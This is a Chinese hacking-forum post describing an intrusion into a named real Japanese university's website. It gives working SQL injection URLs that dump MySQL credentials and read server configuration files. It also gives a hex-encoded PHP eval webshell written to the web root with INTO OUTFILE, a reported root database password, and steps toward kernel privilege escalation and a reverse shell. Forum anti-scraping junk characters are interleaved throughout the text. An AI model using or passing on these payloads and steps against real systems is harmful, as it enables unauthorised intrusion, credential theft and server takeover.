找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2443|回复: 0
打印 上一主题 下一主题

入侵日本同志社大学

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-21 13:48:02 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
入侵日本同志社大学技术分析' f" V& }" `  d/ {. t4 }, l

- B' C. Y! ]$ u; b# Q4 U# qhttp://www.doshisha.ac.jp/chs/news/index.php?i=-1  U2 q) \9 j8 Y* z+ e
然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:
; @. F2 T- N7 }; [, c$ r' E
: B, ~: ^2 G1 B! fhttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user
/ P* G4 @3 e! A6 {4 K
2 l( b5 U7 G. X
! q* O( i# `" d! [* \* g1 Y# f: X% r  e0 S: }% w7 `
//@@datadir为数据库文件路径
% n; O1 x1 a; W7 ^, A8 A
  r5 w7 y1 d8 q6 \6 `0 Q3 B' V* R9 e& J2 G8 r0 ~. O
//load_file读取网站容器apache的配置文件 - a: ?8 S5 Q7 ~5 j+ g
+ r" K; c1 I2 B3 F( g
$ N) z: z; z9 q$ h
//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机
! C$ Y$ `( i1 _* S, Y, B$ Q复制代码. g6 {0 C' m- p! Z( L

( v5 x. h: ^$ Y! c" H/ E0 w2 A4 e虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。5 J$ a$ X2 J) q$ ]8 l4 U$ Q
, a! b3 P6 B* C/ z
而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。. K$ x! b8 r7 B- Y9 E+ o
(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)
$ ~, R# t- e6 k+ Z: N' j! E$ m3 e% l4 J% C, c6 O! K
前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。7 i3 {2 n9 U5 t! O/ z
如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html
7 x* \2 Y) e) e) A8 d4 k( J  a
; P7 T# b1 p2 F" \, T# y/ X既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/" G+ `1 F7 E1 \' Z. H
虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。
" Q1 U4 L1 H5 M' x/ x) ?& O直接写一句话:
" ?9 e# w3 H( j: R9 S/ P4 q1 C5 r/ W" Z- q0 G3 E! }4 }9 B
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#
# e4 F9 F& T+ E3 k. |7 k! }8 y. y$ f6 O

4 y# v2 m, T& C# l, M1 r: o5 @& l$ x" D6 x4 g+ H- D
//最后的#是为了闭合前面的语句 # N: n8 z$ ~" p6 o% \6 t) W  S# {
+ `1 @1 ]0 S7 e/ X& d
% M) c. F: C5 H4 |/ v
/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E 4 _4 Y+ t: D3 H. @1 |' [7 k9 [% r/ W
  r7 c" I% O1 _3 E  z! u

0 O. ]& x5 a2 |. r2 b# \! w为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/ 4 O' T3 O2 {& b( f0 r/ u. c+ O! P+ F' P

3 w' b5 H; N% O. o4 P' ?8 m  O, f$ ~& B' I1 S9 c) D4 g
//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句
' r/ ]  V! G( r: I2 j1 Z( ?
( B: A; `6 a" n. {; K* g* b: o9 ?, j
//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误
* Y7 j2 V. y8 T( Y7 L( U  o//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>” ' b' R. J- s2 N" u
复制代码
+ C1 [3 E0 H1 k6 v$ c! e( k
: U. D9 ~: p5 ]! V, D3 i# p3 xHEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有
+ m9 M% z* f6 k9 i7 H0 O通过上述注入语句,我们就得到了一句话木马:$ J# ~3 M6 n4 S! A, O

7 x; _' W5 Q$ Z% |5 K : I# h- t7 k# e, A; D0 M
1 \# v% h- ~3 v" }4 T+ z

8 Y" T3 N( V0 W! g2 N2 T5 ~5 `$ D
( z' p7 q- e: j" \8 H1 S9 z) S; }4 Whttp://www.doshisha.ac.jp/english/engnews_img/aa.php
/ W& I" F) A0 S% ]. ?. b复制代码8 a( A' Z& x  a$ A. C' q( Y
$ H" V- Z8 m5 Z2 C  ?# d
用菜刀连接,密码是cmd,如图所示:
! ^2 ?3 V" I8 p; c" _1 o+ p然后在命令提示行里看了一下,现在的权限是:
8 v: z5 o' r5 I, \5 L8 I8 L5 P. a" I. p; N9 f1 v5 Q# F+ A
之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。. K' w+ M- q# w( Z, ~* {- z- _/ o
好在赋权给这个文件夹不需要root,直接执行赋权语句:  n& u+ e, l. p- y" V

: Z/ I. O, }! c% M1 Y( @ . Y4 l& G3 a7 V3 z* o" a
: }# ]3 {. k; s' j7 ~' i/ h

* c9 J: ?( a( W9 L9 H6 v( T* ?4 M0 Q" F& C% x- w  z
chmod +x /tmp/
, D0 P' N; I% Z复制代码  _. O8 m- o/ K: P% K, T
$ O1 E0 c4 i# E. j5 ]- ~5 A% A$ m- M
在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行
! x6 Z. u& f6 d) S然后就查了一下内核版本:
0 K/ o, R. b1 {( i5 B% K6 [
: {, F1 a& G& Z8 W% Z) m8 V # U6 x7 _2 m. n" @: K
/ q$ L4 K; y0 P8 V0 H% }# k
" {2 L& p5 h4 W
+ ~5 i  j$ |) F3 f; n
uname-a
- T% e7 ]! i7 W7 @  X* p
) O5 p$ h9 [8 _& P  j9 K  ]# f! q! p& M3 e! _. c9 {& x( Z
//其实lsb_release -a
' M4 ^0 d# y; ]/ x8 K$ \5 k复制代码( r- C, S5 F7 k, M/ Q
4 b$ {' i1 H9 M! U3 _
如图所示:- c% m$ P) k- N/ v5 a! I; M
( K3 K. g7 i, B( ?5 ?+ Q6 D9 Z
内核版本:linux mainz1 2.6.28-194.e15) m9 B* m7 G% R/ X) a: u
系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)% S% `9 U; s1 H5 r0 x1 V+ Q
查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹8 r. P$ X. M7 _7 ]# j+ B3 _" a) F

! [/ c4 a+ p+ X4 L# \2 a然后给予执行权限: `) l7 t: s! S
一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样
3 q" h0 A' K8 M
: H7 {( Z* `; W) ^0 [6 ]
2 r# k6 o3 j8 f/ P7 D3 E
! x* A0 f3 z* M8 J# F: j
. o, v& N4 s: o. V3 @
  W6 i6 n9 e8 t/ ?chmod +x /tmp/2.6.18-194
6 W" b5 U5 }4 D9 f, Z1 t( F# ]复制代码 然后直接执行!~
2 ~. y8 Y. Q; y
) x. a/ Z# v0 E1 t1 V7 M$ R( t总结:
, O  I* _  h/ `) q% l! N这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了
9 p! l6 O2 I+ Z提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root0 L8 M/ Y  k6 A  |& x

" {0 b1 V. V; i
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表